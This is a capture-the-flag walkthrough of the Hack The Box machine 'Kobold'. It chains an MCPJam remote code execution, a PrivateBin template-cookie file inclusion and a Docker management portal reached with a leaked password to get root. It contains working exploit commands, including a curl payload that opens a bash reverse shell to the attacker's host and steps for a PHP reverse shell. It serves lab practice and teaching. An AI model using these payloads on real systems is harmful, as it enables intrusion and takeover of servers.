Hack The Box / LINUX / 2026-08-01
Hack The Box - Kobold (Linux)
We exploit a remote code execution vulnerability in MCPJam (CVE-2026-23744), getting an initial foothold as the user ben. We write a malicious php script in a PrivateBin folder and include it via the template cookie (CVE-2025-64714), getting a reverse shell in a docker container. The application config file exposes a hardcoded password. We use that password to access the Arcane Docker management portal on port 3552, where we create a new container with root privileges, allowing us to read the host file system and retrieve the root flag.
Target
- IP:
10.129.16.93
Port scan
sudo nmap -sC -sV 10.129.16.93 -p- -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_ 256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://kobold.htb/
443/tcp open ssl/http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-title: Did not follow redirect to https://kobold.htb/
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Issuer: commonName=kobold.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-03-15T15:08:55
| Not valid after: 2125-02-19T15:08:55
| MD5: c49e c4d5 d4a0 e473 00bc 8df8 cc00 98ac
| SHA-1: a231 1d00 d15b 2007 eff5 957d 0561 265a bb90 6906
|_SHA-256: 0395 2d40 2b1f 2245 6092 f007 1ae7 6c6d 34d9 0ae3 c04f 271d db92 8907 e4e3 acfe
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
3552/tcp open http Golang net/http server
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Accept-Ranges: bytes
| Cache-Control: no-cache, no-store, must-revalidate
| Content-Length: 2081
| Content-Type: text/html; charset=utf-8
| Expires: 0
| Pragma: no-cache
| Date: Tue, 24 Mar 2026 20:08:44 GMT
| <!doctype html>
| <html lang="%lang%">
| <head>
| <meta charset="utf-8" />
| <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
| <meta http-equiv="Pragma" content="no-cache" />
| <meta http-equiv="Expires" content="0" />
| <link rel="icon" href="/api/app-images/favicon" />
| <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" />
| <link rel="manifest" href="/app.webmanifest" />
| <meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" />
| <meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" />
|_ <link rel="modu
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: F9C2482A3FE92BDB5276156F46E0D292
Add kobold.htb to /etc/hosts
Initial enumeration
Let's enumerate subdomains with gobuster:
gobuster vhost -u 'https://kobold.htb/' -w /home/kali/wordlists/subdomains-top1million-110000.txt -k -t 50 --append-domain
mcp.kobold.htb Status: 200 [Size: 466]
bin.kobold.htb Status: 200 [Size: 24402]
Add mcp.kobold.htb and bin.kobold.htb to /etc/hosts
Foothold - CVE-2026-23744 - MCPJam RCE
With the browser go to http://mcp.kobold.htb. It's MCPJam.
On the settings, we see the version: MCPJam Version: v1.4.2
There is a vulnerability: CVE-2026-23744
Here is the advisory with a POC: https://github.com/advisories/GHSA-232v-j27c-5pp6.
So we can have RCE by sending a POST request to https://mcp.kobold.htb/api/mcp/connect.
We can get a reverse shell.
On the attacker's machine, start a listener:
nc -vlnp 4444
To trigger the RCE, run:
curl https://mcp.kobold.htb/api/mcp/connect -k --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"bash\",\"args\":[\"-c\", \"bash -i >& /dev/tcp/10.10.16.41/4444 0>&1\"],\"env\":{}},\"serverId\":\"mytest\"}"
On the terminal with netcat, we get a reverse shell with user ben.
Upgrade the shell to a fully interactive TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo
fg
export TERM=xterm-256color
Get details on current user:
id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
So we are in the operator group. Let's check the files with group operator:
find / -group operator 2>/dev/null
/privatebin-data
/privatebin-data/certs
/privatebin-data/certs/key.pem
/privatebin-data/certs/cert.pem
/privatebin-data/data
/privatebin-data/data/purge_limiter.php
/privatebin-data/data/bd
/privatebin-data/data/bd/b5
/privatebin-data/data/.htaccess
/privatebin-data/data/e3
/privatebin-data/data/traffic_limiter.php
/privatebin-data/data/salt.php
PrivateBin - CVE-2025-64714
If we go to https://bin.kobold.htb, we see that it's PrivateBin. The files we found before are related to it.
We see that the version is 2.0.2. Searching on internet, we see that there is a vulnerability: CVE-2025-64714
Here is the advisory: https://github.com/advisories/GHSA-g2j9-g8r5-rg82
Apparently, we can have a local file inclusion through the template cookie
ls -ld /privatebin-data/data/
```text
drwxrwxrwx 7 root operator 4096 Mar 25 18:04 /privatebin-data/data/
We can write files on that directory. So the idea is to write a malicious php file on that folder, and then include thanks to the vulnerability.
Thanks to the file inclusion, we can get a reverse shell.
Firstly, go to https://www.revshells.com/, fill ip and port and select the PHP PentestMonkey reverse shell. Copy the code.
Then, on the target machine, create a evil.php file in /privatebin-data/data/ and paste the copied content in it.
On the attacking machine, start a listener:
nc -vlnp 4444
Then trigger the file inclusion and the reverse shell:
curl -k https://bin.kobold.htb/ -b 'template=../data/evil' -v
On the netcat terminal we get the reverse shell.
hostname
4c49dd7bb727
We are in a docker container.
id
uid=65534(nobody) gid=82(www-data) groups=82(www-data)
Searching on the file system, we see that PrivateBin is in the /srv folder.
Let's check the configuration of PrivateBin:
cat /srv/cfg/conf.php
We notice:
[model]
; example of DB configuration for MySQL
; Temporarily disabling while we migrate to new server for loadbalancing
;class = Database
[model_options]
dsn = "mysql:host=localhost;dbname=privatebin;charset=UTF8"
tbl = "privatebin_" ; table prefix
usr = "privatebin"
pwd = "ComplexP@sswordAdmin1928"
opt[12] = true ; PDO::ATTR_PERSISTENT
We got the password: ComplexP@sswordAdmin1928
Arcane Docker management
In the nmap output, we see that there is a Golang net/http server running on port 3552. Let's check it.
With the browser, go to http://kobold.htb:3552. It's Arcane, a Docker management software. Checking on intrnet, we see that the default username is arcane.
Let's try to login with credentials:
arcane / ComplexP@sswordAdmin1928
It works!
On the images page, we see that there are two images: mysql:latest and privatebin/nginx-fpm-alpine:2.0.2.
On the containers page, create a new container. On the tab Basic, fill the form with:
Container Name: test
Image: privatebin/nginx-fpm-alpine:2.0.2
User: root
On the tab Volumes, fill the form with:
Host Path: /
Container Path: /host
Then click on Create container.
Now click on the test container and then on Shell. We have a shell and we are in the directory /var/www.
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
We are the root user. Now we can read the host file system through the /host folder.
cd /host
We can read the root flag:
cat root/root.txt